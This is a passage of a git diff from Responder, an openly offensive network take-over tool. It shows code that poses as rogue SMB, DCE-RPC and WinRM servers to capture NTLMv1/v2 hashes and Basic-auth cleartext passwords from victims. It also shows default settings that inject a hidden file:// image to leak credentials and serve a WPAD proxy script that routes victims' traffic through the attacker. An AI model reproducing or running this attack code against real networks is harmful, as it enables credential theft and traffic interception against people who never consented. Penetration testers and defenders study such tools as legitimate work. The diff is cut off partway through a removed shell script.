|
||||||
|
|
||||||
|
#NetLogon
|
||||||
|
if NetworkSendBufferPython2or3(NETLOGON) in data:
|
||||||
|
self.request.close()
|
||||||
|
# For now, we don't want to establish a secure channel... we want NTLM.
|
||||||
|
|
||||||
|
#x = RPCMapBindMapperAns(Tower1UID=NETLOGON,Tower1Version="\x01\x00",Tower2UID=NDR,Tower2Version="\x02\x00")
|
||||||
|
#x.calculate()
|
||||||
|
#RPC = RPCHeader(Data = x, CallID=NetworkRecvBufferPython2or3(data[12:16]))
|
||||||
|
#RPC.calculate()
|
||||||
|
#self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
|
#data = self.request.recv(1024)
|
||||||
|
#print(color("[*] [DCE-RPC Mapper] Redirected %-15sto NETLOGON auth server." % (self.client_address[0]), 3, 1))
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
self.request.close()
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
class RPCMapper(BaseRequestHandler):
|
||||||
|
def handle(self):
|
||||||
|
try:
|
||||||
|
data = self.request.recv(2048)
|
||||||
|
self.request.settimeout(3)
|
||||||
|
Challenge = RandomChallenge()
|
||||||
|
|
||||||
|
if FindNTLMOpcode(data) == b"\x01\x00\x00\x00":
|
||||||
|
n = NTLMChallenge(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
|
n.calculate()
|
||||||
|
RPC = RPCNTLMNego(Data=n)
|
||||||
|
RPC.calculate()
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(str(RPC)))
|
||||||
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
|
if FindNTLMOpcode(data) == b"\x03\x00\x00\x00":
|
||||||
|
ParseRPCHash(data, self.client_address[0], Challenge)
|
||||||
|
self.request.close()
|
||||||
|
|
||||||
|
except Exception:
|
||||||
|
self.request.close()
|
||||||
|
pass
|
||||||
|
|
||||||
|
|
||||||
@@ -219,7 +219,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
|
|
||||||
## Session Setup 1 answer SMBv2.
|
## Nego answer SMBv2.
|
||||||
if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe":
|
if data[16:18] == b"\x00\x00" and data[4:5] == b"\xfe":
|
||||||
head = SMB2Header(MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'))
|
head = SMB2Header(MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'))
|
||||||
t = SMB2NegoAns(Dialect="\x10\x02")
|
t = SMB2NegoAns(Dialect="\x10\x02")
|
||||||
@@ -238,7 +238,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||||||
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
self.request.send(NetworkSendBufferPython2or3(buffer1))
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
## Session Setup 3 answer SMBv2.
|
## Session Setup 3 answer SMBv2.
|
||||||
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' and data[4:5] == b'\xfe':
|
if data[16:18] == b'\x01\x00' and GrabMessageID(data)[0:1] == b'\x02' or GrabMessageID(data)[0:1] == b'\x03' and data[4:5] == b'\xfe':
|
||||||
ParseSMBHash(data, self.client_address[0], Challenge)
|
ParseSMBHash(data, self.client_address[0], Challenge)
|
||||||
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
|
head = SMB2Header(Cmd="\x01\x00", MessageId=GrabMessageID(data).decode('latin-1'), PID="\xff\xfe\x00\x00", CreditCharge=GrabCreditCharged(data).decode('latin-1'), Credits=GrabCreditRequested(data).decode('latin-1'), NTStatus="\x22\x00\x00\xc0", SessionID=GrabSessionID(data).decode('latin-1'))
|
||||||
t = SMB2Session2Data()
|
t = SMB2Session2Data()
|
||||||
@@ -265,7 +265,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||||||
# STATUS_MORE_PROCESSING_REQUIRED
|
# STATUS_MORE_PROCESSING_REQUIRED
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
Header = SMBHeader(cmd="\x73",flag1="\x88", flag2="\x01\xc8", errorcode="\x16\x00\x00\xc0", uid=chr(randrange(256))+chr(randrange(256)),pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",mid=midcalc(NetworkRecvBufferPython2or3(data)))
|
||||||
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
if settings.Config.CaptureMultipleCredentials and self.ntry == 0:
|
||||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge), NTLMSSPNTLMChallengeAVPairsUnicodeStr="NOMATCH")
|
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
else:
|
else:
|
||||||
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
Body = SMBSession1Data(NTLMSSPNtServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
Body.calculate()
|
Body.calculate()
|
||||||
@@ -279,7 +279,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||||||
|
|
||||||
if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # STATUS_SUCCESS
|
if data[8:10] == b"\x73\x00" and data[4:5] == b"\xff": # STATUS_SUCCESS
|
||||||
if Is_Anonymous(data):
|
if Is_Anonymous(data):
|
||||||
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(data),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
Header = SMBHeader(cmd="\x73",flag1="\x98", flag2="\x01\xc8",errorcode="\x72\x00\x00\xc0",pid=pidcalc(NetworkRecvBufferPython2or3(data)),tid="\x00\x00",uid=uidcalc(NetworkRecvBufferPython2or3(data)),mid=midcalc(NetworkRecvBufferPython2or3(data)))###should always send errorcode="\x72\x00\x00\xc0" account disabled for anonymous logins.
|
||||||
Body = SMBSessEmpty()
|
Body = SMBSessEmpty()
|
||||||
|
|
||||||
packet1 = str(Header)+str(Body)
|
packet1 = str(Header)+str(Body)
|
||||||
@@ -333,7 +333,7 @@ class SMB1(BaseRequestHandler): # SMB1 & SMB2 Server class, NTLMSSP
|
|||||||
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
class SMB1LM(BaseRequestHandler): # SMB Server class, old version
|
||||||
def handle(self):
|
def handle(self):
|
||||||
try:
|
try:
|
||||||
self.request.settimeout(0.5)
|
self.request.settimeout(1)
|
||||||
data = self.request.recv(1024)
|
data = self.request.recv(1024)
|
||||||
Challenge = RandomChallenge()
|
Challenge = RandomChallenge()
|
||||||
if data[0] == b"\x81": #session request 139
|
if data[0] == b"\x81": #session request 139
|
||||||
|
|||||||
180
servers/WinRM.py
Normal file
180
servers/WinRM.py
Normal file
@@ -0,0 +1,180 @@
|
|||||||
|
#!/usr/bin/env python
|
||||||
|
# This file is part of Responder, a network take-over set of tools
|
||||||
|
# created and maintained by Laurent Gaffie.
|
||||||
|
# email: laurent.gaffie@gmail.com
|
||||||
|
# This program is free software: you can redistribute it and/or modify
|
||||||
|
# it under the terms of the GNU General Public License as published by
|
||||||
|
# the Free Software Foundation, either version 3 of the License, or
|
||||||
|
# (at your option) any later version.
|
||||||
|
#
|
||||||
|
# This program is distributed in the hope that it will be useful,
|
||||||
|
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
|
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||||
|
# GNU General Public License for more details.
|
||||||
|
#
|
||||||
|
# You should have received a copy of the GNU General Public License
|
||||||
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
|
import struct
|
||||||
|
import codecs
|
||||||
|
from utils import *
|
||||||
|
if settings.Config.PY2OR3 == "PY3":
|
||||||
|
from socketserver import BaseRequestHandler, StreamRequestHandler
|
||||||
|
else:
|
||||||
|
from SocketServer import BaseRequestHandler, StreamRequestHandler
|
||||||
|
from base64 import b64decode, b64encode
|
||||||
|
from packets import NTLM_Challenge
|
||||||
|
from packets import IIS_Auth_401_Ans, IIS_Auth_Granted, IIS_NTLM_Challenge_Ans, IIS_Basic_401_Ans,WEBDAV_Options_Answer, WinRM_NTLM_Challenge_Ans
|
||||||
|
from packets import WPADScript, ServeExeFile, ServeHtmlFile
|
||||||
|
|
||||||
|
|
||||||
|
# Parse NTLMv1/v2 hash.
|
||||||
|
def ParseHTTPHash(data, Challenge, client, module):
|
||||||
|
LMhashLen = struct.unpack('<H',data[12:14])[0]
|
||||||
|
LMhashOffset = struct.unpack('<H',data[16:18])[0]
|
||||||
|
LMHash = data[LMhashOffset:LMhashOffset+LMhashLen]
|
||||||
|
LMHashFinal = codecs.encode(LMHash, 'hex').upper().decode('latin-1')
|
||||||
|
|
||||||
|
NthashLen = struct.unpack('<H',data[20:22])[0]
|
||||||
|
NthashOffset = struct.unpack('<H',data[24:26])[0]
|
||||||
|
NTHash = data[NthashOffset:NthashOffset+NthashLen]
|
||||||
|
NTHashFinal = codecs.encode(NTHash, 'hex').upper().decode('latin-1')
|
||||||
|
UserLen = struct.unpack('<H',data[36:38])[0]
|
||||||
|
UserOffset = struct.unpack('<H',data[40:42])[0]
|
||||||
|
User = data[UserOffset:UserOffset+UserLen].decode('latin-1').replace('\x00','')
|
||||||
|
Challenge1 = codecs.encode(Challenge,'hex').decode('latin-1')
|
||||||
|
if NthashLen == 24:
|
||||||
|
HostNameLen = struct.unpack('<H',data[46:48])[0]
|
||||||
|
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||||
|
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
|
||||||
|
WriteHash = '%s::%s:%s:%s:%s' % (User, HostName, LMHashFinal, NTHashFinal, Challenge1)
|
||||||
|
SaveToDb({
|
||||||
|
'module': module,
|
||||||
|
'type': 'NTLMv1',
|
||||||
|
'client': client,
|
||||||
|
'host': HostName,
|
||||||
|
'user': User,
|
||||||
|
'hash': LMHashFinal+':'+NTHashFinal,
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
if NthashLen > 24:
|
||||||
|
NthashLen = 64
|
||||||
|
DomainLen = struct.unpack('<H',data[28:30])[0]
|
||||||
|
DomainOffset = struct.unpack('<H',data[32:34])[0]
|
||||||
|
Domain = data[DomainOffset:DomainOffset+DomainLen].decode('latin-1').replace('\x00','')
|
||||||
|
HostNameLen = struct.unpack('<H',data[44:46])[0]
|
||||||
|
HostNameOffset = struct.unpack('<H',data[48:50])[0]
|
||||||
|
HostName = data[HostNameOffset:HostNameOffset+HostNameLen].decode('latin-1').replace('\x00','')
|
||||||
|
WriteHash = '%s::%s:%s:%s:%s' % (User, Domain, Challenge1, NTHashFinal[:32], NTHashFinal[32:])
|
||||||
|
SaveToDb({
|
||||||
|
'module': module,
|
||||||
|
'type': 'NTLMv2',
|
||||||
|
'client': client,
|
||||||
|
'host': HostName,
|
||||||
|
'user': Domain + '\\' + User,
|
||||||
|
'hash': NTHashFinal[:32] + ':' + NTHashFinal[32:],
|
||||||
|
'fullhash': WriteHash,
|
||||||
|
})
|
||||||
|
|
||||||
|
# Handle HTTP packet sequence.
|
||||||
|
def PacketSequence(data, client, Challenge):
|
||||||
|
NTLM_Auth = re.findall(r'(?<=Authorization: NTLM )[^\r]*', data)
|
||||||
|
NTLM_Auth2 = re.findall(r'(?<=Authorization: Negotiate )[^\r]*', data)
|
||||||
|
Basic_Auth = re.findall(r'(?<=Authorization: Basic )[^\r]*', data)
|
||||||
|
|
||||||
|
if NTLM_Auth or NTLM_Auth2:
|
||||||
|
if NTLM_Auth2:
|
||||||
|
Packet_NTLM = b64decode(''.join(NTLM_Auth2))[8:9]
|
||||||
|
if NTLM_Auth:
|
||||||
|
Packet_NTLM = b64decode(''.join(NTLM_Auth))[8:9]
|
||||||
|
|
||||||
|
if Packet_NTLM == b'\x01':
|
||||||
|
Buffer = NTLM_Challenge(NegoFlags="\x35\x82\x89\xe2", ServerChallenge=NetworkRecvBufferPython2or3(Challenge))
|
||||||
|
Buffer.calculate()
|
||||||
|
if NTLM_Auth2:
|
||||||
|
Buffer_Ans = WinRM_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||||
|
return Buffer_Ans
|
||||||
|
else:
|
||||||
|
Buffer_Ans = IIS_NTLM_Challenge_Ans(Payload = b64encode(NetworkSendBufferPython2or3(Buffer)).decode('latin-1'))
|
||||||
|
return Buffer_Ans
|
||||||
|
|
||||||
|
if Packet_NTLM == b'\x03':
|
||||||
|
if NTLM_Auth2:
|
||||||
|
NTLM_Auth = b64decode(''.join(NTLM_Auth2))
|
||||||
|
else:
|
||||||
|
NTLM_Auth = b64decode(''.join(NTLM_Auth))
|
||||||
|
|
||||||
|
ParseHTTPHash(NTLM_Auth, Challenge, client, "WinRM")
|
||||||
|
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||||
|
Buffer.calculate()
|
||||||
|
return Buffer
|
||||||
|
|
||||||
|
elif Basic_Auth:
|
||||||
|
ClearText_Auth = b64decode(''.join(Basic_Auth))
|
||||||
|
|
||||||
|
SaveToDb({
|
||||||
|
'module': 'WinRM',
|
||||||
|
'type': 'Basic',
|
||||||
|
'client': client,
|
||||||
|
'user': ClearText_Auth.decode('latin-1').split(':')[0],
|
||||||
|
'cleartext': ClearText_Auth.decode('latin-1').split(':')[1],
|
||||||
|
})
|
||||||
|
|
||||||
|
Buffer = IIS_Auth_Granted(Payload=settings.Config.HtmlToInject)
|
||||||
|
Buffer.calculate()
|
||||||
|
return Buffer
|
||||||
|
else:
|
||||||
|
if settings.Config.Basic:
|
||||||
|
Response = IIS_Basic_401_Ans()
|
||||||
|
if settings.Config.Verbose:
|
||||||
|
print(text("[WinRM] Sending BASIC authentication request to %s" % client))
|
||||||
|
|
||||||
|
else:
|
||||||
|
Response = IIS_Auth_401_Ans()
|
||||||
|
if settings.Config.Verbose:
|
||||||
|
print(text("[WinRM] Sending NTLM authentication request to %s" % client))
|
||||||
|
|
||||||
|
return Response
|
||||||
|
|
||||||
|
# HTTP Server class
|
||||||
|
class WinRM(BaseRequestHandler):
|
||||||
|
|
||||||
|
def handle(self):
|
||||||
|
try:
|
||||||
|
Challenge = RandomChallenge()
|
||||||
|
while True:
|
||||||
|
self.request.settimeout(3)
|
||||||
|
remaining = 10*1024*1024 #setting max recieve size
|
||||||
|
data = ''
|
||||||
|
while True:
|
||||||
|
buff = ''
|
||||||
|
buff = NetworkRecvBufferPython2or3(self.request.recv(8092))
|
||||||
|
if buff == '':
|
||||||
|
break
|
||||||
|
data += buff
|
||||||
|
remaining -= len(buff)
|
||||||
|
#check if we recieved the full header
|
||||||
|
if data.find('\r\n\r\n') != -1:
|
||||||
|
#we did, now to check if there was anything else in the request besides the header
|
||||||
|
if data.find('Content-Length') == -1:
|
||||||
|
#request contains only header
|
||||||
|
break
|
||||||
|
else:
|
||||||
|
#searching for that content-length field in the header
|
||||||
|
for line in data.split('\r\n'):
|
||||||
|
if line.find('Content-Length') != -1:
|
||||||
|
line = line.strip()
|
||||||
|
remaining = int(line.split(':')[1].strip()) - len(data)
|
||||||
|
if remaining <= 0:
|
||||||
|
break
|
||||||
|
if data == "":
|
||||||
|
break
|
||||||
|
|
||||||
|
else:
|
||||||
|
Buffer = PacketSequence(data,self.client_address[0], Challenge)
|
||||||
|
self.request.send(NetworkSendBufferPython2or3(Buffer))
|
||||||
|
|
||||||
|
except:
|
||||||
|
raise
|
||||||
|
pass
|
||||||
|
|
||||||
106
settings.py
Normal file → Executable file
106
settings.py
Normal file → Executable file
@@ -14,7 +14,7 @@
|
|||||||
#
|
#
|
||||||
# You should have received a copy of the GNU General Public License
|
# You should have received a copy of the GNU General Public License
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
||||||
import utils, sys
|
import utils, sys, random
|
||||||
if (sys.version_info > (3, 0)):
|
if (sys.version_info > (3, 0)):
|
||||||
import configparser as ConfigParser
|
import configparser as ConfigParser
|
||||||
else:
|
else:
|
||||||
@@ -23,7 +23,7 @@ import subprocess
|
|||||||
|
|
||||||
from utils import *
|
from utils import *
|
||||||
|
|
||||||
__version__ = 'Responder 3.0.4.0'
|
__version__ = 'Responder 3.0.8.0'
|
||||||
|
|
||||||
class Settings:
|
class Settings:
|
||||||
|
|
||||||
@@ -68,7 +68,7 @@ class Settings:
|
|||||||
|
|
||||||
def populate(self, options):
|
def populate(self, options):
|
||||||
|
|
||||||
if options.Interface is None and utils.IsOsX() is False:
|
if options.Interface == None and utils.IsOsX() == False:
|
||||||
print(utils.color("Error: -I <if> mandatory option is missing", 1))
|
print(utils.color("Error: -I <if> mandatory option is missing", 1))
|
||||||
sys.exit(-1)
|
sys.exit(-1)
|
||||||
|
|
||||||
@@ -96,6 +96,8 @@ class Settings:
|
|||||||
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
|
self.LDAP_On_Off = self.toBool(config.get('Responder Core', 'LDAP'))
|
||||||
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
|
self.DNS_On_Off = self.toBool(config.get('Responder Core', 'DNS'))
|
||||||
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
|
self.RDP_On_Off = self.toBool(config.get('Responder Core', 'RDP'))
|
||||||
|
self.DCERPC_On_Off = self.toBool(config.get('Responder Core', 'DCERPC'))
|
||||||
|
self.WinRM_On_Off = self.toBool(config.get('Responder Core', 'WINRM'))
|
||||||
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
|
self.Krb_On_Off = self.toBool(config.get('Responder Core', 'Kerberos'))
|
||||||
|
|
||||||
# Db File
|
# Db File
|
||||||
@@ -112,6 +114,41 @@ class Settings:
|
|||||||
self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
|
self.AnalyzeLogFile = os.path.join(self.LogDir, config.get('Responder Core', 'AnalyzeLog'))
|
||||||
self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
|
self.ResponderConfigDump = os.path.join(self.LogDir, config.get('Responder Core', 'ResponderConfigDump'))
|
||||||
|
|
||||||
|
# CLI options
|
||||||
|
self.ExternalIP = options.ExternalIP
|
||||||
|
self.LM_On_Off = options.LM_On_Off
|
||||||
|
self.NOESS_On_Off = options.NOESS_On_Off
|
||||||
|
self.WPAD_On_Off = options.WPAD_On_Off
|
||||||
|
self.Wredirect = options.Wredirect
|
||||||
|
self.DHCP_On_Off = options.DHCP_On_Off
|
||||||
|
self.Basic = options.Basic
|
||||||
|
self.Finger_On_Off = options.Finger
|
||||||
|
self.Interface = options.Interface
|
||||||
|
self.OURIP = options.OURIP
|
||||||
|
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
||||||
|
self.Upstream_Proxy = options.Upstream_Proxy
|
||||||
|
self.AnalyzeMode = options.Analyze
|
||||||
|
self.Verbose = options.Verbose
|
||||||
|
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
||||||
|
self.CommandLine = str(sys.argv)
|
||||||
|
|
||||||
|
if self.ExternalIP:
|
||||||
|
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
||||||
|
|
||||||
|
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
||||||
|
|
||||||
|
if self.Interface == "ALL":
|
||||||
|
self.Bind_To_ALL = True
|
||||||
|
else:
|
||||||
|
self.Bind_To_ALL = False
|
||||||
|
|
||||||
|
if self.Interface == "ALL":
|
||||||
|
self.IP_aton = socket.inet_aton(self.OURIP)
|
||||||
|
else:
|
||||||
|
self.IP_aton = socket.inet_aton(self.Bind_To)
|
||||||
|
|
||||||
|
self.Os_version = sys.platform
|
||||||
|
|
||||||
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
|
self.FTPLog = os.path.join(self.LogDir, 'FTP-Clear-Text-Password-%s.txt')
|
||||||
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
|
self.IMAPLog = os.path.join(self.LogDir, 'IMAP-Clear-Text-Password-%s.txt')
|
||||||
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
|
self.POP3Log = os.path.join(self.LogDir, 'POP3-Clear-Text-Password-%s.txt')
|
||||||
@@ -142,7 +179,13 @@ class Settings:
|
|||||||
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
self.WPAD_Script = config.get('HTTP Server', 'WPADScript')
|
||||||
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
|
self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject')
|
||||||
|
|
||||||
if self.Serve_Exe is True:
|
if len(self.HtmlToInject) == 0:
|
||||||
|
self.HtmlToInject = "<img src='file://///"+self.Bind_To+"/pictures/logo.jpg' alt='Loading' height='1' width='1'>"
|
||||||
|
|
||||||
|
if len(self.WPAD_Script) == 0:
|
||||||
|
self.WPAD_Script = 'function FindProxyForURL(url, host){if ((host == "localhost") || shExpMatch(host, "localhost.*") ||(host == "127.0.0.1") || isPlainHostName(host)) return "DIRECT"; if (dnsDomainIs(host, "ProxySrv")||shExpMatch(host, "(*.ProxySrv|ProxySrv)")) return "DIRECT"; return "PROXY '+self.Bind_To+':3128; PROXY '+self.Bind_To+':3141; DIRECT";}'
|
||||||
|
|
||||||
|
if self.Serve_Exe == True:
|
||||||
if not os.path.exists(self.Html_Filename):
|
if not os.path.exists(self.Html_Filename):
|
||||||
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
|
print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1))
|
||||||
|
|
||||||
@@ -159,49 +202,19 @@ class Settings:
|
|||||||
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
|
self.DontRespondTo = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')]))
|
||||||
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
self.DontRespondToName = list(filter(None, [x.upper().strip() for x in config.get('Responder Core', 'DontRespondToName').strip().split(',')]))
|
||||||
|
|
||||||
|
#Generate Random stuff for one Responder session
|
||||||
|
self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)])
|
||||||
|
self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)])
|
||||||
|
self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)])
|
||||||
|
self.DomainName = self.Domain + '.LOCAL'
|
||||||
|
self.MachineNego = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) +'$@'+self.DomainName
|
||||||
|
self.RPCPort = random.randrange(45000, 49999)
|
||||||
# Auto Ignore List
|
# Auto Ignore List
|
||||||
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
|
self.AutoIgnore = self.toBool(config.get('Responder Core', 'AutoIgnoreAfterSuccess'))
|
||||||
self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
|
self.CaptureMultipleCredentials = self.toBool(config.get('Responder Core', 'CaptureMultipleCredentials'))
|
||||||
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
|
self.CaptureMultipleHashFromSameHost = self.toBool(config.get('Responder Core', 'CaptureMultipleHashFromSameHost'))
|
||||||
self.AutoIgnoreList = []
|
self.AutoIgnoreList = []
|
||||||
|
|
||||||
# CLI options
|
|
||||||
self.ExternalIP = options.ExternalIP
|
|
||||||
self.LM_On_Off = options.LM_On_Off
|
|
||||||
self.WPAD_On_Off = options.WPAD_On_Off
|
|
||||||
self.Wredirect = options.Wredirect
|
|
||||||
self.NBTNSDomain = options.NBTNSDomain
|
|
||||||
self.Basic = options.Basic
|
|
||||||
self.Finger_On_Off = options.Finger
|
|
||||||
self.Interface = options.Interface
|
|
||||||
self.OURIP = options.OURIP
|
|
||||||
self.Force_WPAD_Auth = options.Force_WPAD_Auth
|
|
||||||
self.Upstream_Proxy = options.Upstream_Proxy
|
|
||||||
self.AnalyzeMode = options.Analyze
|
|
||||||
self.Verbose = options.Verbose
|
|
||||||
self.ProxyAuth_On_Off = options.ProxyAuth_On_Off
|
|
||||||
self.CommandLine = str(sys.argv)
|
|
||||||
|
|
||||||
if self.ExternalIP:
|
|
||||||
self.ExternalIPAton = socket.inet_aton(self.ExternalIP)
|
|
||||||
|
|
||||||
if self.HtmlToInject is None:
|
|
||||||
self.HtmlToInject = ''
|
|
||||||
|
|
||||||
self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP)
|
|
||||||
|
|
||||||
if self.Interface == "ALL":
|
|
||||||
self.Bind_To_ALL = True
|
|
||||||
else:
|
|
||||||
self.Bind_To_ALL = False
|
|
||||||
|
|
||||||
if self.Interface == "ALL":
|
|
||||||
self.IP_aton = socket.inet_aton(self.OURIP)
|
|
||||||
else:
|
|
||||||
self.IP_aton = socket.inet_aton(self.Bind_To)
|
|
||||||
|
|
||||||
self.Os_version = sys.platform
|
|
||||||
|
|
||||||
# Set up Challenge
|
# Set up Challenge
|
||||||
self.NumChal = config.get('Responder Core', 'Challenge')
|
self.NumChal = config.get('Responder Core', 'Challenge')
|
||||||
if self.NumChal.lower() == 'random':
|
if self.NumChal.lower() == 'random':
|
||||||
@@ -239,7 +252,14 @@ class Settings:
|
|||||||
|
|
||||||
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
self.AnalyzeLogger = logging.getLogger('Analyze Log')
|
||||||
self.AnalyzeLogger.addHandler(ALog_Handler)
|
self.AnalyzeLogger.addHandler(ALog_Handler)
|
||||||
|
|
||||||
|
# First time Responder run?
|
||||||
|
if os.path.isfile(self.ResponderPATH+'/Responder.db'):
|
||||||
|
pass
|
||||||
|
else:
|
||||||
|
#If it's the first time, generate SSL certs for this Responder session and send openssl output to /dev/null
|
||||||
|
Certs = os.system("./certs/gen-self-signed-cert.sh >/dev/null 2>&1")
|
||||||
|
|
||||||
try:
|
try:
|
||||||
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
NetworkCard = subprocess.check_output(["ifconfig", "-a"])
|
||||||
except:
|
except:
|
||||||
@@ -262,7 +282,7 @@ class Settings:
|
|||||||
RoutingInfo = "Error fetching Routing information:", ex
|
RoutingInfo = "Error fetching Routing information:", ex
|
||||||
pass
|
pass
|
||||||
|
|
||||||
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard,DNS,RoutingInfo)
|
Message = "Current environment is:\nNetwork Config:\n%s\nDNS Settings:\n%s\nRouting info:\n%s\n\n"%(NetworkCard.decode('latin-1'),DNS.decode('latin-1'),RoutingInfo.decode('latin-1'))
|
||||||
try:
|
try:
|
||||||
utils.DumpConfig(self.ResponderConfigDump, Message)
|
utils.DumpConfig(self.ResponderConfigDump, Message)
|
||||||
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
utils.DumpConfig(self.ResponderConfigDump,str(self))
|
||||||
|
|||||||
@@ -1,63 +0,0 @@
|
|||||||
#!/bin/bash
|
|
||||||
# This file is part of Responder. laurent.gaffie@gmail.com
|
|
||||||
#
|
|
||||||
#
|
|
||||||
# This program is free software: you can redistribute it and/or modify
|
|
||||||
# it under the terms of the GNU General Public License as published by
|
|
||||||
# the Free Software Foundation, either version 3 of the License, or
|
|
||||||
# (at your option) any later version.
|
|
||||||
#
|
|
||||||
# This program is distributed in the hope that it will be useful,
|
|
||||||
# but WITHOUT ANY WARRANTY; without even the implied warranty of
|
|
||||||
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
|
||||||
# GNU General Public License for more details.
|
|
||||||
#
|
|
||||||
# You should have received a copy of the GNU General Public License
|
|
||||||
# along with this program. If not, see <http://www.gnu.org/licenses/>.
|
|
||||||
|
|
||||||
# This script will try to auto-detect network parameters
|
|
||||||
